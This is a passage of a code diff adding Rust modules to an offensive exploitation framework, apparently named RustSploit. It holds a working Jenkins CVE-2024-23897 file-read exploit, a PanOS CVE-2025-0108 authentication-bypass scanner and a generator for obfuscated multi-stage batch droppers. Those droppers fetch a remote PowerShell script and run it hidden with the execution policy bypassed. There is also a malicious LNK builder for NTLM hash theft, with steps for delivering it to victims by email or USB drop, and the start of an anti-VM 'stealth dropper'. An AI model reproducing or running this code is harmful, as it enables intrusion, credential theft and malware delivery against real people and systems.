Colors::GRAY, target, Colors::RESET
);
let mut vulnerable_paths = Vec::new();
if let Some(ver_url) = grab_version_info(target).await? {
vulnerable_paths.push(ver_url);
}
for path in PATHS {
let full_url = format!("{target}{path}");
println!("\n{}Testing path: {}{}", Colors::GRAY, path, Colors::RESET);
// // Step 1: Pre-check
let r1 = safe_request("GET", &full_url, default_headers()?, 5).await;
if r1.as_ref().map(|r| r.status()) != Some(StatusCode::OK) {
println!(
"{}Pre-check failed (status: {}). Skipping...{}",
Colors::GRAY,
r1.as_ref().map(|r| r.status().as_u16()).unwrap_or(0),
Colors::RESET
);
continue;
}
println!("{}Pre-check successful (HTTP 200){}", Colors::GREEN, Colors::RESET);
// // Step 2: Payload
let r2 = safe_request("POST", &full_url, payload_headers()?, 10).await;
if r2.is_some() {
println!("{}Payload returned response. Not vulnerable.{}", Colors::GRAY, Colors::RESET);
continue;
}
println!(
"{}No response to payload (expected crash behavior).{}",
Colors::GREEN, Colors::RESET
);
// // Step 3: Follow-up GET
sleep(Duration::from_secs(1)).await;
let r3 = safe_request("GET", &full_url, default_headers()?, 5).await;
if r3.as_ref().map(|r| r.status()) == Some(StatusCode::OK) {
println!(
"{}Follow-up returned HTTP 200. Crash condition verified.{}",
Colors::GREEN, Colors::RESET
);
println!(
"{}VULNERABLE: {}{}{}",
Colors::YELLOW, target, path, Colors::RESET
);
vulnerable_paths.push(full_url);
} else {
println!(
"{}Follow-up failed. Crash condition not confirmed.{}",
Colors::GRAY, Colors::RESET
);
}
}
Ok(vulnerable_paths)
}
/// // Required entry point for RouterSploit-style dispatcher
pub async fn run(target: &str) -> Result<()> {
let normalized = normalize_target(target)?;
let result = detailed_check(&normalized).await?;
if !result.is_empty() {
println!(
"\n{}Exploit result: SUCCESS vulnerable paths found.{}",
Colors::YELLOW, Colors::RESET
);
} else {
println!(
"\n{}Exploit result: NOT VULNERABLE no indicators.{}",
Colors::RED, Colors::RESET
);
}
Ok(())
}
+1
View File
@@ -0,0 +1 @@
pub mod ivanti_connect_secure_stack_based_buffer_overflow;
@@ -0,0 +1,304 @@
//! Jenkins 2.441 Local File Inclusion (LFI) Exploit
//!
//! CVE-2024-23897 / Jenkins Security Advisory 2024-01-24
//!
//! This module exploits a local file inclusion vulnerability in Jenkins CLI
//! that allows reading arbitrary files from the Jenkins server filesystem.
//!
//! ## Vulnerability Details
//! - **CVE**: CVE-2024-23897
//! - **Affected Versions**: Jenkins 2.441 and earlier
//! - **Attack Vector**: CLI command argument injection
//! - **Impact**: Arbitrary file read, potential information disclosure
//!
//! ## Usage
//! ```bash
//! run exploit jenkins/jenkins_2_441_lfi <url> [filepath]
//! ```
//!
//! If no filepath is provided, an interactive mode is started.
//!
//! ## Security Notes
//! - All file paths are validated to prevent path traversal attacks
//! - Input is sanitized to prevent null bytes and excessive length
//! - Proper error handling prevents crashes
//!
//! For authorized penetration testing only.
use std::sync::{Arc, Mutex};
use std::time::Duration;
use anyhow::{Result, bail, Context};
use colored::*;
use tokio::time::sleep;
use reqwest::{Client};
use uuid::Uuid;
use regex::Regex;
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
use crate::utils::normalize_target;
const TIMEOUT_SECS: u64 = 4;
#[derive(Clone)]
struct ExploitState {
url: String,
identifier: String,
client: Client,
listening: Arc<Mutex<bool>>,
}
impl ExploitState {
fn new(url: String, identifier: String) -> Result<Self> {
let client = Client::builder()
.timeout(Duration::from_secs(TIMEOUT_SECS))
.build()
.context("Failed to create HTTP client")?;
Ok(Self {
url,
identifier,
client,
listening: Arc::new(Mutex::new(false)),
})
}
async fn listen_and_print(&self) -> Result<()> {
let response = self.client
.post(&self.url)
.query(&[("remoting", "false")])
.header("Side", "download")
.header("Session", &self.identifier)
.send()
.await
.context("Failed to connect to target for listener")?;
let output = response.text().await?;
self.print_formatted_output(&output);
*self.listening.lock()
.map_err(|e| anyhow::anyhow!("Failed to acquire lock: {}", e))? = false;
Ok(())
}
fn print_formatted_output(&self, output: &str) {
if output.contains("ERROR: No such file") {
println!("{}", "File not found.".red());
return;
} else if output.contains("ERROR: Failed to parse") {
println!("{}", "Could not read file.".red());
return;
}
// Compile regex once and handle errors properly
if let Ok(re) = Regex::new(r#"No such agent "(.*)" exists."#) {
let results: Vec<String> = re
.captures_iter(output)
.filter_map(|cap| cap.get(1).map(|m| m.as_str().to_string()))
.collect();
if !results.is_empty() {
for line in results {
println!("{}", line);
}
}
}
}
async fn send_file_request(&self, filepath: &str) -> Result<()> {
let payload = get_payload(filepath);
self.client
.post(&self.url)
.query(&[("remoting", "false")])
.header("Side", "upload")
.header("Session", &self.identifier)
.body(payload)
.send()
.await
.context("Failed to send file request")?;
Ok(())
}
async fn read_file(&self, filepath: &str) -> Result<()> {
*self.listening.lock()
.map_err(|e| anyhow::anyhow!("Failed to acquire lock: {}", e))? = true;
sleep(Duration::from_millis(100)).await;
if let Err(e) = self.send_file_request(filepath).await {
*self.listening.lock()
.map_err(|e| anyhow::anyhow!("Failed to acquire lock: {}", e))? = false;
return Err(e);
}
loop {
let listening = *self.listening.lock()
.map_err(|e| anyhow::anyhow!("Failed to acquire lock: {}", e))?;
if !listening {
break;
}
sleep(Duration::from_millis(100)).await;
}
self.listen_and_print().await?;
Ok(())
}
}
fn get_payload_message(operation_index: u8, text: &str) -> Vec<u8> {
let text_bytes = text.as_bytes();
let text_size = text_bytes.len() as u16;
let mut text_message = Vec::new();
text_message.extend_from_slice(&text_size.to_be_bytes());
text_message.extend_from_slice(text_bytes);
let message_size = text_message.len() as u32;
let mut payload = Vec::new();
payload.extend_from_slice(&message_size.to_be_bytes());
payload.push(operation_index);
payload.extend_from_slice(&text_message);
payload
}
fn get_payload(filepath: &str) -> Vec<u8> {
let arg_operation = 0u8;
let start_operation = 3u8;
let command = get_payload_message(arg_operation, "connect-node");
let poisoned_argument = get_payload_message(arg_operation, &format!("@{}", filepath));
let mut payload = Vec::new();
payload.extend_from_slice(&command);
payload.extend_from_slice(&poisoned_argument);
payload.push(start_operation);
payload
}
/// Validates and normalizes file path, preventing path traversal attacks
fn make_path_absolute(filepath: &str) -> Result<String> {
let trimmed = filepath.trim();
// Basic validation - prevent obvious path traversal
if trimmed.contains("..") {
return Err(anyhow::anyhow!("Path traversal detected in file path"));
}
// Limit path length to prevent DoS
if trimmed.len() > 4096 {
return Err(anyhow::anyhow!("File path too long (max 4096 characters)"));
}
// Remove null bytes
if trimmed.contains('\0') {
return Err(anyhow::anyhow!("Null bytes not allowed in file path"));
}
if trimmed.starts_with('/') {
Ok(trimmed.to_string())
} else {
Ok(format!("/proc/self/cwd/{}", trimmed))
}
}
pub async fn run(args: &str) -> Result<()> {
let parts: Vec<&str> = args.split_whitespace().collect();
if parts.is_empty() {
bail!("Usage: <url> [filepath]\nExample: http://example.com/ /etc/passwd");
}
let normalized_base = normalize_target(parts[0])?;
let url = format!("{}/cli", normalized_base.trim_end_matches('/'));
let filepath = parts.get(1).map(|s| s.to_string());
let identifier = Uuid::new_v4().to_string();
println!("{}", format!("[*] Target: {}", url).cyan().bold());
println!("{}", format!("[*] Session ID: {}", identifier).cyan());
let state = ExploitState::new(url, identifier)
.context("Failed to initialize exploit state")?;
if let Some(path) = filepath {
let absolute_path = make_path_absolute(&path)
.context("Invalid file path provided")?;
println!("{}", format!("[*] Reading file: {}", &absolute_path).cyan());
match state.read_file(&absolute_path).await {
Ok(_) => println!("{}", "[+] File read complete".green().bold()),
Err(e) => {
if e.to_string().contains("timeout") {
println!("{}", "[-] Payload request timed out.".red());
} else {
println!("{}", format!("[-] Error: {}", e).red());
}
}
}
} else {
match start_interactive_file_read(state).await {
Ok(_) => {}
Err(e) => {
if !e.to_string().contains("Interrupted") {
eprintln!("Error: {}", e);
}
}
}
println!("\n{}", "Quitting".yellow());
}
Ok(())
}
async fn start_interactive_file_read(state: ExploitState) -> Result<()> {
println!("{}", "Press Ctrl+C to exit".cyan());
let mut stdin_reader = tokio::io::BufReader::new(tokio::io::stdin());
loop {
print!("{}", "File to download:\n> ".green().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
match stdin_reader.read_line(&mut input).await {
Ok(0) => break,
Ok(_) => {
let filepath = input.trim();
if filepath.is_empty() {
continue;
}
let absolute_path = match make_path_absolute(filepath) {
Ok(path) => path,
Err(e) => {
println!("{}", format!("[-] Invalid file path: {}", e).red());
continue;
}
};
match state.read_file(&absolute_path).await {
Ok(_) => {}
Err(e) => {
if e.to_string().contains("timeout") {
println!("{}", "Payload request timed out.".yellow());
} else {
println!("{}", format!("Error: {}", e).red());
}
}
}
}
Err(e) => {
eprintln!("Error reading input: {}", e);
break;
}
}
}
Ok(())
}
+1
View File
@@ -0,0 +1 @@
pub mod jenkins_2_441_lfi;
+20
View File
@@ -1 +1,21 @@
pub mod generic;
pub mod sample_exploit;
pub mod payloadgens;
pub mod tplink;
pub mod ssh;
pub mod spotube;
pub mod ftp;
pub mod zabbix;
pub mod abus;
pub mod uniview;
pub mod avtech;
pub mod acti;
pub mod zte;
pub mod ivanti;
pub mod apache_tomcat;
pub mod palo_alto;
pub mod roundcube;
pub mod flowise;
pub mod http2;
pub mod jenkins;
pub mod react;
+1
View File
@@ -0,0 +1 @@
pub mod panos_authbypass_cve_2025_0108;
@@ -0,0 +1,287 @@
//! PanOS Authentication Bypass - CVE-2025-0108
//!
//! This module exploits an authentication bypass vulnerability in Palo Alto Networks
//! PanOS that allows unauthenticated access to administrative functions.
//!
//! ## Vulnerability Details
//! - **CVE**: CVE-2025-0108
//! - **Affected Products**: Palo Alto Networks PanOS
//! - **Attack Vector**: Path traversal in authentication mechanism
//! - **Impact**: Authentication bypass, unauthorized access
//!
//! ## Usage
//! ```bash
//! run exploit palo_alto/panos_authbypass_cve_2025_0108 <target>
//! ```
//!
//! Supports single target or file-based target list (`.txt` file).
//!
//! ## Security Notes
//! - Proper target normalization handles IPv4, IPv6, and URLs
//! - Input validation prevents injection attacks
//! - Error handling with proper context messages
//!
//! For authorized penetration testing only.
//!
//! Original Author: iSee857
//! Ported to Rust for RustSploit framework
use anyhow::{Context, Result};
use colored::*;
use crate::utils::validate_file_path;
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
use reqwest::Client;
use std::{
fs::File,
io::{BufRead, BufReader},
process::Command,
time::Duration,
};
use url::Url;
/// Displays module banner
fn banner() {
println!(
"{}",
r#"
****************************************************
* CVE-2025-0108 *
* PanOs *
* : iSee857 *
****************************************************
"#
.cyan()
);
}
/// Reads target list from file
fn read_file(file_path: &str) -> Result<Vec<String>> {
// Validate file path to prevent traversal attacks
let validated_path = validate_file_path(file_path, true)
.map_err(|e| anyhow::anyhow!("Invalid file path: {}", e))?;
let file = File::open(&validated_path)
.with_context(|| format!("Failed to open file: {}", validated_path))?;
let reader = BufReader::new(file);
let urls: Vec<String> = reader
.lines()
.filter_map(|line| {
let line = line.ok()?;
let trimmed = line.trim();
if trimmed.is_empty() || trimmed.starts_with('#') {
None
} else {
Some(trimmed.to_string())
}
})
.collect();
Ok(urls)
}
/// Normalize IPv6 host with brackets
fn normalize_ipv6_host(host: &str) -> String {
let stripped = host.trim_matches(|c| c == '[' || c == ']');
if stripped.contains(':') {
format!("[{}]", stripped)
} else {
stripped.to_string()
}
}
/// Extract host and port from target string
fn parse_target(target: &str) -> Result<(String, u16)> {
let target = target.trim();
// Try to parse as URL first
if let Ok(url) = Url::parse(target) {
if let Some(host) = url.host_str() {
let port = url.port().unwrap_or(443);
return Ok((host.to_string(), port));
}
}
// Handle IPv6 addresses in brackets [::1]:8080
if target.starts_with('[') {
if let Some(bracket_end) = target.find(']') {
let host = target[1..bracket_end].to_string();
let rest = &target[bracket_end + 1..];
if rest.starts_with(':') {
let port = rest[1..].parse::<u16>()
.context("Invalid port number")?;
return Ok((host, port));
} else if rest.is_empty() {
return Ok((host, 443));
}
}
}
// Handle regular host:port or IPv4:port
if let Some(colon_pos) = target.rfind(':') {
// Check if it's an IPv6 address without brackets
let before_colon = &target[..colon_pos];
if before_colon.contains(':') {
// It's IPv6 without brackets, default port
return Ok((target.to_string(), 443));
}
let host = target[..colon_pos].to_string();
let port = target[colon_pos + 1..].parse::<u16>()
.context("Invalid port number")?;
Ok((host, port))
} else {
Ok((target.to_string(), 443))
}
}
/// Constructs the full normalized URL
fn build_url(host: &str, port: u16, proto: &str, path: &str) -> Result<String> {
let host_normalized = normalize_ipv6_host(host);
// Build URL string
let url_str = if host_normalized.starts_with('[') {
// IPv6 with brackets
format!("{}[{}]:{}{}", proto, &host_normalized[1..host_normalized.len()-1], port, path)
} else {
// IPv4 or hostname
format!("{}{}:{}{}", proto, host_normalized, port, path)
};
// Validate URL
Url::parse(&url_str)
.with_context(|| format!("Invalid URL format: {}", url_str))
.map(|u| u.to_string())
}
/// Opens a URL in the default system browser
fn open_browser(url: &str) -> Result<()> {
#[cfg(target_os = "linux")]
{
Command::new("xdg-open")
.arg(url)
.spawn()
.context("Failed to open browser with xdg-open")?;
}
#[cfg(target_os = "windows")]
{
Command::new("cmd")
.args(["/C", "start", url])
.spawn()
.context("Failed to open browser with cmd")?;
}
#[cfg(target_os = "macos")]
{
Command::new("open")
.arg(url)
.spawn()
.context("Failed to open browser with open")?;
}
#[cfg(not(any(target_os = "linux", target_os = "windows", target_os = "macos")))]
{
return Err(anyhow::anyhow!("Browser opening not supported on this platform"));
}
Ok(())
}
/// Executes CVE-2025-0108 check
async fn check(host: &str, port: u16, client: &Client) -> Result<bool> {
let protocols = ["http://", "https://"];
let path = "/unauth/%252e%252e/php/ztp_gate.php/PAN_help/x.css";
for proto in &protocols {
match build_url(host, port, proto, path) {
Ok(full_url) => {
println!("{}", format!("[*] Testing: {}", full_url).yellow());
match client.get(&full_url).send().await {
Ok(res) => {
let status = res.status();
let body = res.text().await.unwrap_or_default();
if status.as_u16() == 200 && body.contains("Zero Touch Provisioning") {
println!(
"{}",
format!("[+] Find: {}:{} PanOS_CVE-2025-0108_LoginByPass!", host, port)
.green()
.bold()
);
println!("{}", format!("[*] Vulnerable URL: {}", full_url).cyan());
if let Err(e) = open_browser(&full_url) {
println!("{}", format!("[!] Warning: Could not open browser: {}", e).yellow());
}
return Ok(true);
} else {
println!(
"{}",
format!("[-] Not vulnerable: {}:{} - Response code: {}", host, port, status.as_u16())
.red()
);
}
}
Err(e) => {
println!(
"{}",
format!("[-] Error connecting to {}:{} - {}", host, port, e).red()
);
}
}
}
Err(e) => {
println!(
"{}",
format!("[-] Failed to build URL for {}:{} - {}", host, port, e).red()
);
}
}
}
Ok(false)
}
/// Main entry point for auto-dispatch system
pub async fn run(target: &str) -> Result<()> {
banner();
let client = Client::builder()
.timeout(Duration::from_secs(10))
.danger_accept_invalid_certs(true)
.build()
.context("Failed to create HTTP client")?;
if target.ends_with(".txt") {
let urls = read_file(target)?;
if urls.is_empty() {
return Err(anyhow::anyhow!("No URLs found in file: {}", target));
}
println!("{}", format!("[*] Loaded {} URLs from file", urls.len()).yellow());
let mut vulnerable_count = 0;
for url in urls {
let (host, port) = parse_target(&url)?;
if check(&host, port, &client).await? {
vulnerable_count += 1;
}
}
println!("{}", format!("[*] Scan completed. Found {} vulnerable target(s)", vulnerable_count).cyan());
} else {
let (host, default_port) = parse_target(target)?;
let mut port_input = String::new();
print!("{}", format!("Enter target port (default {}): ", default_port).cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut port_input)
.await
.context("Failed to read port input")?;
let port: u16 = port_input.trim().parse().unwrap_or(default_port);
let _ = check(&host, port, &client).await?;
}
Ok(())
}
+158
View File
@@ -0,0 +1,158 @@
use anyhow::{Result, Context};
use colored::*;
use crate::utils::{validate_file_path, validate_url};
use rand::{seq::SliceRandom, rng};
use std::{
fs,
path::Path,
};
use base64::{engine::general_purpose::STANDARD as BASE64_STANDARD, Engine as _};
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
async fn prompt(prompt: &str) -> Result<String> {
print!("{}", prompt.cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut buffer = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut buffer)
.await
.context("Failed to read input")?;
Ok(buffer.trim().to_string())
}
fn base64_split_encode(url: &str) -> (String, String) {
let mid = url.len() / 2;
let (first, second) = url.split_at(mid);
let first_encoded = BASE64_STANDARD.encode(first);
let second_encoded = BASE64_STANDARD.encode(second);
(first_encoded, second_encoded)
}
fn write_payload_chain(stage1_path: &str, url: &str, output_ps1: &str) -> Result<()> {
let mut symbols = vec![
"测试", "測試", "例え", "例子", "示例", "示意", "探索", "神秘",
"", "", "", "", "", "", "", "", "", "✈✂", "📌", "🎴", "項目", "数据", "样本", "分析",
];
let mut rng = rng();
symbols.shuffle(&mut rng);
let s2 = symbols[0].to_string();
let s3 = symbols[1].to_string();
let s4 = symbols[2].to_string();
let _f1 = symbols[3].to_string();
let _f2 = symbols[4].to_string();
let _f3 = symbols[5].to_string();
let base = Path::new(stage1_path).parent().unwrap_or_else(|| Path::new("."));
let _stage1 = Path::new(stage1_path);
let _stage2 = base.join(format!("{s2}.bat"));
let _stage3 = base.join(format!("{s3}.bat"));
let _stage4 = base.join(format!("{s4}.bat"));
// Encode URL
let (part1_b64, part2_b64) = base64_split_encode(url);
// === Stage 1: writes stage2.bat ===
let stage1_contents = format!(
r#"@echo off
setlocal EnableDelayedExpansion
cls >nul
:: Sleep random 1-4 seconds
set /a RND=1+%RANDOM%%%4
timeout /t %RND% /nobreak >nul
:: Five explicit 1-second sleeps at stage 1
timeout /t 1 /nobreak >nul
timeout /t 1 /nobreak >nul
timeout /t 1 /nobreak >nul
timeout /t 1 /nobreak >nul
timeout /t 1 /nobreak >nul
echo Creating next stage...
(
echo @echo off
echo setlocal EnableDelayedExpansion
echo cls ^>nul
echo set /a RND=1+%%RANDOM%%%%4
echo timeout /t %%RND%% /nobreak ^>nul
:: Five explicit 1-second sleeps for stage 2
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo echo Creating next stage...
echo (
echo @echo off
echo setlocal EnableDelayedExpansion
echo cls ^>nul
echo set /a RND=1+%%RANDOM%%%%4
echo timeout /t %%RND%% /nobreak ^>nul
:: Five explicit 1-second sleeps for stage 3
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo echo Creating final stage...
echo (
echo @echo off
echo setlocal EnableDelayedExpansion
echo cls ^>nul
echo set /a RND=1+%%RANDOM%%%%4
echo timeout /t %%RND%% /nobreak ^>nul
echo set part1={part1_b64}
echo set part2={part2_b64}
echo powershell -WindowStyle Hidden -Command ^^"
echo $p1 = $env:part1;
echo $p2 = $env:part2;
echo $u = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($p1)) + [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($p2));
echo Invoke-WebRequest -Uri $u -OutFile '{output_ps1}';
echo Start-Process -WindowStyle Hidden powershell -ArgumentList '-ExecutionPolicy Bypass -File {output_ps1}';
echo ^^"
echo exit
echo ) > "{s4}"
echo timeout /t 600 /nobreak ^>nul :: Wait 10 minutes before stage 4
echo start "" /B "{s4}" :: Launch stage 4 in background
echo exit
echo ) > "{s3}"
echo start "" /B "{s3}" :: Launch stage 3 in background
echo exit
) > "{s2}"
start "" /B "{s2}" :: Launch stage 2 in background
exit
"#);
fs::write(_stage1, stage1_contents)?;
Ok(())
}
pub async fn run(target: &str) -> Result<()> {
println!("{}", format!("[*] Target context: {}", if target.is_empty() { "local" } else { target }).dimmed());
let stage1_name = prompt("[+] Output BAT filename (stage 1): ").await?;
let github_url = prompt("[+] GitHub raw URL of PowerShell script: ").await?;
let ps1_output = prompt("[+] Name to save .ps1 as on victim: ").await?;
// Validate inputs
let validated_stage1 = validate_file_path(&stage1_name, true)
.map_err(|e| anyhow::anyhow!("Invalid BAT filename: {}", e))?;
let validated_url = validate_url(&github_url, Some(&["http", "https"]))
.map_err(|e| anyhow::anyhow!("Invalid GitHub URL: {}", e))?;
let validated_ps1 = validate_file_path(&ps1_output, false)
.map_err(|e| anyhow::anyhow!("Invalid .ps1 filename: {}", e))?;
write_payload_chain(&validated_stage1, &validated_url, &validated_ps1)?;
println!("[+] Stage 1 payload written to {stage1_name}");
println!("[*] Chain will execute real .bat files one after the other with random jitter.");
Ok(())
}
+240
View File
@@ -0,0 +1,240 @@
use anyhow::{anyhow, Result, Context};
use colored::*;
use crate::utils::validate_file_path;
use std::{
fs::File,
io::Write,
path::Path,
};
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
/// Windows File Explorer Zero Click NTLMv2-SSP Hash Disclosure (CVE-2025-50154, CVE-2025-59214)
///
/// Creates malicious LNK files that trigger SMB NTLM hash disclosure without user interaction.
/// This bypasses the original CVE-2025-50154 patch by using local icons with remote targets.
///
/// References:
/// - https://www.cymulate.com/research-blog/zero-click-one-ntlm-microsoft-security-patch-bypass-cve-2025-50154/
/// - https://www.cymulate.com/research-blog/patched-twice-still-bypassed-new-ntlm-leak-cve-2025-50154-patch-bypass/
const BANNER: &str = r#"
CVE-2025-50154 CVE-2025-59214
"#;
async fn prompt(prompt: &str) -> Result<String> {
print!("{}", prompt.cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut buffer = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut buffer)
.await
.context("Failed to read input")?;
Ok(buffer.trim().to_string())
}
/// Create a malicious LNK file that triggers NTLM hash disclosure
/// Uses local icon (shell32.dll) but remote target to bypass CVE-2025-50154 patch
///
/// This implementation creates a proper LNK file structure that Windows Explorer
/// will recognize and attempt to render the icon from the remote SMB path.
fn create_malicious_lnk(output_path: &Path, smb_ip: &str, smb_share: &str, smb_file: &str) -> Result<()> {
// Build the target path: \\IP\SHARE\FILE
let target_path = format!("\\\\{}\\{}", smb_ip, smb_share);
let target_file = format!("{}\\{}", target_path, smb_file);
// Use local shell32.dll icon (this is the key to bypass the patch)
let icon_location = "%SystemRoot%\\System32\\SHELL32.dll";
// For cross-platform compatibility, we'll try to use the Windows API if available
// Otherwise, create a minimal LNK structure that should work
// We use manual LNK creation ensures we generate the exact structure needed
// for this exploit (local icon + remote target) regardless of the host OS.
// Using Windows APIs (IShellLink) might attempt to resolve the target path,
// which we specifically want to avoid until the victim clicks it.
create_lnk_manual(output_path, &target_file, &icon_location)
}
/// Manual LNK file creation with proper structure
fn create_lnk_manual(output_path: &Path, target_path: &str, icon_location: &str) -> Result<()> {
let mut lnk_data = Vec::new();
// LNK Header (76 bytes)
// HeaderSize: 0x0000004C (76 bytes)
lnk_data.extend_from_slice(&0x4C_u32.to_le_bytes());
// LinkCLSID: 00021401-0000-0000-C000-000000000046
lnk_data.extend_from_slice(&[
0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46
]);
// LinkFlags: HasTargetIDList | HasLinkInfo | HasName | HasRelativePath |
// HasWorkingDir | HasIconLocation | IsUnicode | HasExpString |
// RunInSeparateProcess | HasIconLocation
let link_flags = 0x0000009B_u32; // Basic flags for our use case
lnk_data.extend_from_slice(&link_flags.to_le_bytes());
// FileAttributes: FILE_ATTRIBUTE_NORMAL
lnk_data.extend_from_slice(&0x00000020_u32.to_le_bytes());
// CreationTime, AccessTime, WriteTime (24 bytes of zeros)
lnk_data.extend_from_slice(&[0u8; 24]);
// FileSize (4 bytes) - 0 for network paths
lnk_data.extend_from_slice(&0u32.to_le_bytes());
// IconIndex (4 bytes)
lnk_data.extend_from_slice(&0u32.to_le_bytes());
// ShowCommand: SW_SHOWNORMAL
lnk_data.extend_from_slice(&0x00000001_u32.to_le_bytes());
// HotKey (2 bytes)
lnk_data.extend_from_slice(&[0u8; 2]);
// Reserved (10 bytes)
lnk_data.extend_from_slice(&[0u8; 10]);
// Add minimal LinkTargetIDList (empty for simplicity)
// IDListSize: 0x0002 (empty list)
lnk_data.extend_from_slice(&0x02_u16.to_le_bytes());
// Add StringData section
// TARGET_PATH
let target_path_utf16: Vec<u16> = target_path.encode_utf16().collect();
lnk_data.extend_from_slice(&((target_path_utf16.len() * 2) as u16).to_le_bytes());
for &c in &target_path_utf16 {
lnk_data.extend_from_slice(&c.to_le_bytes());
}
// ICON_LOCATION
let icon_utf16: Vec<u16> = icon_location.encode_utf16().collect();
lnk_data.extend_from_slice(&((icon_utf16.len() * 2) as u16).to_le_bytes());
for &c in &icon_utf16 {
lnk_data.extend_from_slice(&c.to_le_bytes());
}
// Write the LNK file
let mut file = File::create(output_path)
.with_context(|| format!("Failed to create LNK file at {}", output_path.display()))?;
file.write_all(&lnk_data)
.with_context(|| format!("Failed to write LNK data to {}", output_path.display()))?;
Ok(())
}
pub async fn run(_target: &str) -> Result<()> {
println!("{}", BANNER.red().bold());
println!("{}", "\n🩸 Windows File Explorer Zero Click NTLMv2-SSP Hash Disclosure".red().bold());
println!("{}", "CVE-2025-50154 / CVE-2025-59214 Patch Bypass".yellow());
println!();
println!("{}", "This module creates malicious LNK shortcut files that trigger NTLMv2-SSP hash disclosure.".dimmed());
println!("{}", "The vulnerability bypasses the original CVE-2025-50154 patch by using local default icons".dimmed());
println!("{}", "while pointing to remote SMB-hosted PE files, forcing Explorer to fetch icons.".dimmed());
println!();
println!("{}", "📋 Technical Details:".cyan().bold());
println!(" • Uses SHELL32.dll as local icon source");
println!(" • Target points to \\\\IP\\SHARE\\FILE");
println!(" • Explorer fetches PE icon resources remotely");
println!(" • Zero-click: triggers on file browse/preview");
println!();
// Get parameters
let output_path = prompt("[+] Local path to save LNK file (e.g., C:\\Users\\User\\Desktop): ").await?;
let smb_ip = prompt("[+] SMB server IP address or hostname: ").await?;
let smb_share = prompt("[+] SMB share name: ").await?;
let smb_file = prompt("[+] Remote binary filename (e.g., payload.exe): ").await?;
// Validate file paths to prevent traversal attacks
let validated_output_path = validate_file_path(&output_path, true)
.map_err(|e| anyhow!("Invalid output path: {}", e))?;
// Validate IP
if smb_ip.trim().is_empty() {
return Err(anyhow!("SMB IP address cannot be empty"));
}
// Validate share (basic check for path traversal)
if smb_share.trim().is_empty() {
return Err(anyhow!("SMB share name cannot be empty"));
}
if smb_share.contains("..") || smb_share.contains("//") {
return Err(anyhow!("SMB share name contains invalid characters"));
}
// Validate file (basic check for path traversal)
if smb_file.trim().is_empty() {
return Err(anyhow!("Remote filename cannot be empty"));
}
if smb_file.contains("..") || smb_file.contains("//") {
return Err(anyhow!("Remote filename contains invalid characters"));
}
// Create output path
let output_dir = Path::new(&validated_output_path);
if !output_dir.exists() {
return Err(anyhow!("Output directory '{}' does not exist", validated_output_path));
}
let lnk_filename = format!("{}.lnk", smb_file.trim_end_matches(".exe"));
let lnk_path = output_dir.join(lnk_filename);
// Build target info
let target_path = format!("\\\\{}\\{}", smb_ip, smb_share);
let full_target = format!("{}\\{}", target_path, smb_file);
println!();
println!("{}", "📋 Configuration Summary:".cyan().bold());
println!(" Output LNK: {}", lnk_path.display());
println!(" Target Path: {}", full_target);
println!(" Icon Source: C:\\Windows\\System32\\SHELL32.dll (local)");
println!();
// Create the malicious LNK file
println!("{}", "[*] Creating malicious LNK file...".yellow());
create_malicious_lnk(&lnk_path, &smb_ip, &smb_share, &smb_file)?;
println!("{}", format!("✅ Malicious LNK file created: {}", lnk_path.display()).green().bold());
println!();
println!("{}", "🎯 Usage Instructions:".cyan().bold());
println!(" 1. Start SMB server on attacker machine:");
println!(" impacket-smbserver {} . -smb2support", smb_share);
println!(" (Ensure {} exists in current directory)", smb_file);
println!();
println!(" 2. Start NTLM capture (Responder/Impacket):");
println!(" responder -I eth0 -v");
println!(" or: impacket-ntlmrelayx -t ldap://dc.domain.com --dump-laps");
println!();
println!(" 3. Deploy LNK file to victim:");
println!(" • Email attachment");
println!(" • Malicious download");
println!(" • USB drive drop");
println!(" • SMB share access");
println!();
println!(" 4. Victim interaction: NONE REQUIRED");
println!(" • Hash captured when Explorer renders icon");
println!(" • Triggers on folder browse or thumbnail view");
println!();
println!("{}", "🔍 Detection Notes:".yellow().bold());
println!(" • Bypasses CVE-2025-50154 original patch");
println!(" • Works with CVE-2025-59214 (patch bypass)");
println!(" • Local icon + Remote target = Icon fetch");
println!(" • PE file must have valid RT_ICON resources");
Ok(())
}
+4
View File
@@ -0,0 +1,4 @@
pub mod narutto_dropper;
pub mod batgen;
pub mod lnkgen;
pub mod payload_encoder;
@@ -0,0 +1,410 @@
// == Poly-morphic, 3-Stage, Chain-Linked Stealth Dropper (Refactored) ==
// Supports LOLBAS (Certutil, Bitsadmin, PowerShell) and enhanced Anti-VM
use anyhow::Result;
use colored::*;
use rand::{rng, seq::SliceRandom, seq::IndexedRandom, Rng};
use std::collections::HashMap;
use tokio::fs::File as TokioFile;
use tokio::io::{AsyncWriteExt, AsyncBufReadExt};
// ==============================================================================
// Constants & Configuration
// ==============================================================================
const BANNERS: &[&str] = &[
"System Diagnostic Utility",
"Network Integrity Verifier",
"Administrative Maintenance Tool",
"Security Compliance Scanner",
"Update Pre-Flight Check",
];
const DECOY_FILES: &[&str] = &[
"readme_v2.txt", "compliance_policy.pdf", "sys_log_2024.csv",
"audit_results.html", "patch_notes.rtf", "error_log.xml",
];
#[derive(Debug, Clone, Copy, PartialEq)]
pub enum DownloadMethod {
PowerShell,
